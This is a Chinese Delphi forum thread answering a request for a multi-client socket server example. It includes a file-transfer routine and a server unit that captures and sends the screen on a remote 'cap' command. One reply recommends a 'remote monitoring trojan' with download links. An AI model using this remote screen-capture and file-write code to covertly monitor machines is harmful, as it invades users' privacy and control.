首先客户端发送一个请求比如一个: (D),其中D表示下载 那么,客户端如果接受到D这个字符就标识下载 var TState = (stWait, stReceive, stSend, stSpy, stGetDrive, stGetFile ,stDel ,stShare); //定义了多种状态 len : integer; drv : char; f : TSearchRec; ListItem : TListItem; temptext, temp: string; i, index : integer; buf : array [0..1023] of byte; //最大传输文件大小 State : TState; opFile: file of byte; NumRead : integer;对于客户端:(使用clientsocket) step 1: if State = stWait then if OpenDlg.Execute then begin assignFile(opFile,OpenDlg.filename); Reset(opFile); Counter := 0; temp := OpenDlg.FileName; i := length(temp); repeat dec(i) until temp[i] = '\'; delete(temp,1,i); temp := 'd' + currentDir + temp; //currentdir:为服务器端相应的地址, ClntSocket.Socket.SendText(temp); State := stSend; end; step 2: 对于服务器端:(使用serversocket) temptext = Socket.ReceiveText; if tempText[1] = 'd' then //上传 begin delete(temptext,1,1); assignFile(opFile,temptext); rewrite(opFile); State := stReceive; Socket.SendText('next'); end; step 3: 对于客户端:(使用clientsocket) if State = stSend then //发送状态 temptext := Socket.ReceiveText; if TempText = 'next' then begin BlockRead(opFile,buf,Sizeof(buf),NumRead); ClientSocket.Socket.SendBuf(buf,numRead); if NumRead < Sizeof(buf) then begin State := stWait; CloseFile(opFile); end end end;
step 4: 对于服务器端:(使用serversocket) if State = stReceive then //假如为接受状态 begin length := socket.ReceiveLength; socket.ReceiveBuf(buf,Length); BlockWrite(opFile,buf,length); if Length < SizeOf(buf) then begin state := stWait; CloseFile(opFile); end else socket.SendText('next'); end; end; PS:如果不清除的话可以参考海盗远程监控木马程序:下载地址为: 1.http://software.tom.com/SoftInfoDisplay.php?id=3234 2.http://www.mycodes.net/soft/2269.htm 3.http://www.cimy.8u8.com/pirate1.13.rar 当然这些都是没有源代码.如果你需要源代码可以写信告诉我: [email protected].
http://www.nevrona.com/indy去下载Indy V9 DemosD:\Program Files\Borland\Delphi7\Demos\Internet\NetChat有个Chat 程序和源代码
服务端程序unit Unit1;interfaceusesWindows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, JPEG,ExtCtrls, ScktComp;typeTForm1 = class(TForm)ServerSocket1: TServerSocket;procedure ServerSocket1ClientRead(Sender: TObject;Socket: TCustomWinSocket);procedure FormCreate(Sender: TObject);procedure FormClose(Sender: TObject; var Action: TCloseAction);privateprocedure Cjt_GetScreen(var Mybmp: TBitmap; DrawCur: Boolean);{自定义抓屏函数,DrawCur表示抓鼠标图像与否}{ Private declarations }public{ Public declarations }end;varForm1: TForm1;MyStream: TMemorystream;{内存流对象} implementation{$R *.DFM}procedure TForm1.Cjt_GetScreen(var Mybmp: TBitmap; DrawCur: Boolean);varCursorx, Cursory: integer;dc: hdc;Mycan: Tcanvas;R: TRect;DrawPos: TPoint;MyCursor: TIcon;hld: hwnd;Threadld: dword;mp: tpoint;pIconInfo: TIconInfo;beginMybmp := Tbitmap.Create; {建立BMPMAP }Mycan := TCanvas.Create; {屏幕截取}dc := GetWindowDC(0);tryMycan.Handle := dc;R := Rect(0, 0, screen.Width, screen.Height);Mybmp.Width := R.Right;Mybmp.Height := R.Bottom;Mybmp.Canvas.CopyRect(R, Mycan, R);finallyreleaseDC(0, DC);end;Mycan.Handle := 0;Mycan.Free;if DrawCur then {画上鼠标图象}beginGetCursorPos(DrawPos);MyCursor := TIcon.Create;getcursorpos(mp);hld := WindowFromPoint(mp);Threadld := GetWindowThreadProcessId(hld, nil);AttachThreadInput(GetCurrentThreadId, Threadld, True);MyCursor.Handle := Getcursor();AttachThreadInput(GetCurrentThreadId, threadld, False);GetIconInfo(Mycursor.Handle, pIconInfo);cursorx := DrawPos.x - round(pIconInfo.xHotspot);cursory := DrawPos.y - round(pIconInfo.yHotspot);Mybmp.Canvas.Draw(cursorx, cursory, MyCursor); {画上鼠标}DeleteObject(pIconInfo.hbmColor);{GetIconInfo 使用时创建了两个bitmap对象. 需要手工释放这两个对象}DeleteObject(pIconInfo.hbmMask);{否则,调用他后,他会创建一个bitmap,多次调用会产生多个,直至资源耗尽}Mycursor.ReleaseHandle; {释放数组内存}MyCursor.Free; {释放鼠标指针}end; end;procedure TForm1.FormCreate(Sender: TObject);beginServerSocket1.Port := 3000; {端口}ServerSocket1.Open; {Socket开始侦听}end;procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);beginif ServerSocket1.Active then ServerSocket1.Close; {关闭Socket}end;procedure TForm1.ServerSocket1ClientRead(Sender: TObject;Socket: TCustomWinSocket);varS, S1: string;MyBmp: TBitmap;Myjpg: TJpegimage;beginS := Socket.ReceiveText;if S = 'cap' then {客户端发出抓屏幕指令}begintryMyStream := TMemorystream.Create;{建立内存流}MyBmp := TBitmap.Create;Myjpg := TJpegimage.Create;Cjt_GetScreen(MyBmp, True); {True表示抓鼠标图像}Myjpg.Assign(MyBmp); {将BMP图象转成JPG格式,便于在互联网上传输}Myjpg.CompressionQuality := 10; {JPG文件压缩百分比设置,数字越大图像越清晰,但数据也越大}Myjpg.SaveToStream(MyStream); {将JPG图象写入流中}Myjpg.free;MyStream.Position := 0;{注意:必须添加此句}s1 := inttostr(MyStream.size);{流的大小}Socket.sendtext(s1); {发送流大小}finallyMyBmp.free;end;end;if s = 'ready' then {客户端已准备好接收图象}beginMyStream.Position := 0;Socket.SendStream(MyStream); {将流发送出去}end;end;end.
麻烦大家找找!
比如:A为server端,b,c,d,e为客户端,A可以接受来自b,c,d,e的信息,也可以发送信息到b,c,d,e,谢谢各位大侠!
另外能不能脱离TServerSocket 控件来完成呢?
你要的所有例子,在delphi的demo文件夹里都有!
里面有很详细的程序了,好好分析,参考吧!
那么,客户端如果接受到D这个字符就标识下载
var
TState = (stWait, stReceive, stSend, stSpy, stGetDrive, stGetFile ,stDel ,stShare); //定义了多种状态
len : integer;
drv : char;
f : TSearchRec;
ListItem : TListItem;
temptext, temp: string;
i, index : integer;
buf : array [0..1023] of byte; //最大传输文件大小
State : TState;
opFile: file of byte;
NumRead : integer;对于客户端:(使用clientsocket)
step 1:
if State = stWait then
if OpenDlg.Execute then
begin
assignFile(opFile,OpenDlg.filename);
Reset(opFile);
Counter := 0;
temp := OpenDlg.FileName;
i := length(temp);
repeat dec(i) until temp[i] = '\';
delete(temp,1,i);
temp := 'd' + currentDir + temp; //currentdir:为服务器端相应的地址,
ClntSocket.Socket.SendText(temp);
State := stSend;
end;
step 2:
对于服务器端:(使用serversocket)
temptext = Socket.ReceiveText;
if tempText[1] = 'd' then //上传
begin
delete(temptext,1,1);
assignFile(opFile,temptext);
rewrite(opFile);
State := stReceive;
Socket.SendText('next');
end;
step 3:
对于客户端:(使用clientsocket)
if State = stSend then //发送状态
temptext := Socket.ReceiveText;
if TempText = 'next' then
begin
BlockRead(opFile,buf,Sizeof(buf),NumRead);
ClientSocket.Socket.SendBuf(buf,numRead);
if NumRead < Sizeof(buf) then
begin
State := stWait;
CloseFile(opFile);
end
end
end;
step 4:
对于服务器端:(使用serversocket)
if State = stReceive then //假如为接受状态
begin
length := socket.ReceiveLength;
socket.ReceiveBuf(buf,Length);
BlockWrite(opFile,buf,length);
if Length < SizeOf(buf) then
begin
state := stWait;
CloseFile(opFile);
end else socket.SendText('next');
end;
end;
PS:如果不清除的话可以参考海盗远程监控木马程序:下载地址为:
1.http://software.tom.com/SoftInfoDisplay.php?id=3234
2.http://www.mycodes.net/soft/2269.htm
3.http://www.cimy.8u8.com/pirate1.13.rar
当然这些都是没有源代码.如果你需要源代码可以写信告诉我:
[email protected].